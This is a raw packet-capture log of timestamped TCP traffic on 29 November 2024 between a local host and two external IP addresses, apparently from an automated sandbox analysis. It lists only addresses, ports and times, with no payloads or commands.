Nov 29, 2024 20:07:55.945060968 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.945164919 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.945204020 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.946537018 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.946613073 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.946654081 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.946691990 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.974343061 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.974360943 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.974385977 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.974406958 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.975060940 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.975105047 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.975238085 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.975285053 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.976207018 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.976248980 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.976278067 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.976376057 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.977375031 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.977408886 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.977477074 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.977567911 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.978720903 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.978770018 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.978827953 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.978871107 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.980107069 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.980151892 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.980180979 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.980293989 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.981451988 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.981508017 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.981566906 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.981714964 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.982852936 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.982899904 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.982960939 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.983068943 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.984152079 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.984200001 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.984277964 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.984324932 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.985533953 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.985575914 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.985608101 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.985646009 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.986843109 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.986888885 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.986963034 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.987013102 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.988188982 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.988235950 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.988312006 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.988378048 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.989551067 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.989604950 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.989634991 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.989675999 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.990911007 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.990951061 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.990978956 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.991017103 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.992300987 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.992397070 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.992424011 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.992469072 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.993627071 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.993700981 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.993724108 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.993765116 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.994971991 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.995016098 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.995079041 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.995120049 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.996349096 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.996393919 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.996469975 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.996541023 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.997679949 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.997730970 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.997842073 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.997879982 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.999026060 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.999078035 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:55.999126911 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:55.999237061 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.000413895 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.000569105 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.000617027 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.001800060 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.001849890 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.001852989 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.001889944 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.003084898 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.003125906 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.003206968 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.003249884 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.004440069 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.004564047 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.004569054 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.004605055 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.005775928 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.005811930 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.005985975 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.006040096 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.007131100 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.007173061 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.007249117 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.007442951 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.008497953 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.008553028 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.008568048 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.008609056 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.009841919 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.009886980 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.009948015 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.010168076 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.011307955 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.011354923 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.011595011 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.011646986 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.012746096 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.012790918 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.012815952 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.012857914 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.013904095 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.013951063 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.013978958 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.014050007 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.015279055 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.015328884 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.015386105 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.015424967 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.016618967 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.016664028 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.016889095 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.016928911 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.018019915 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.018084049 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.018162966 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.018225908 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.019398928 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.019438982 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.019563913 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.019609928 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.020737886 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.020781994 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.020833969 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.020878077 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.022061110 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.022106886 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.022138119 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.022209883 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.023438931 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.023480892 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.023617983 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.023657084 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.024754047 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.024807930 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.024837971 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.024895906 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.026051044 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.026088953 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.026175976 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.026213884 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.027450085 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.027607918 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.027654886 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.045176029 CET	50089	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:56.045200109 CET	443	50089	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:56.045269012 CET	50089	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:56.045697927 CET	50089	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:56.045711994 CET	443	50089	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:56.110670090 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.110766888 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.110841990 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.111478090 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.111527920 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.111612082 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.111696005 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.112706900 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.112814903 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.112865925 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.114034891 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.114089966 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.145850897 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.145935059 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.145950079 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.145997047 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.146275043 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.146334887 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.146370888 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.146410942 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.147145987 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.147320986 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.147370100 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.147974968 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.148088932 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.148140907 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.148848057 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.148900032 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.149009943 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.149053097 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.149734020 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.149782896 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.149817944 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.149982929 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.150597095 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.150669098 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.150696993 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.150757074 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.151421070 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.151460886 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.151576996 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.151621103 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.152280092 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.152339935 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.152395010 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.152440071 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.153139114 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.153192043 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.153352022 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.153392076 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.153999090 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.154047012 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.154129982 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.154203892 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.154901981 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.154942989 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.154975891 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.155016899 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.155785084 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.155875921 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.155922890 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.156579018 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.156688929 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.156733036 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.157464027 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.157510042 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.157659054 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.157701969 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.158313036 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.158437014 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.158485889 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.159187078 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.159245014 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.159281969 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.159321070 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.160044909 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.160089016 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.160120964 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.160162926 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.160927057 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.160969973 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.161046028 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.161087036 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.161780119 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.161823034 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.161875010 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.161920071 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.162621975 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.162678003 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.162734985 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.162775040 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.163477898 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.163522005 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.163593054 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.163634062 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.164366961 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.164405107 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.164489985 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.164539099 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.165193081 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.165240049 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.165304899 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.165347099 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.166096926 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.166141987 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.166171074 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.166215897 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.166990042 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.167045116 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.167114019 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.167160034 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.167944908 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.167989016 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.168054104 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.168093920 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.168873072 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.168900967 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.168946028 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.169559956 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.169603109 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.169604063 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.169642925 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.170495033 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.170538902 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.170605898 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.170648098 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.171255112 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.171330929 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.171382904 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.171422958 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.172105074 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.172147989 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.172183037 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.172220945 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.172972918 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.173082113 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.173126936 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.173799992 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.173841000 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.173983097 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.174027920 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.174751043 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.174798965 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.175044060 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.175168991 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.175587893 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.175645113 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.175669909 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.175723076 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.176446915 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.176512957 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.176528931 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.176589966 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.177232981 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.177304029 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.177350998 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.177388906 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.178137064 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.178180933 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.178250074 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.178330898 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.178972006 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.179084063 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.179131031 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.179833889 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.179872990 CET	50083	80	192.168.2.4	185.215.113.16
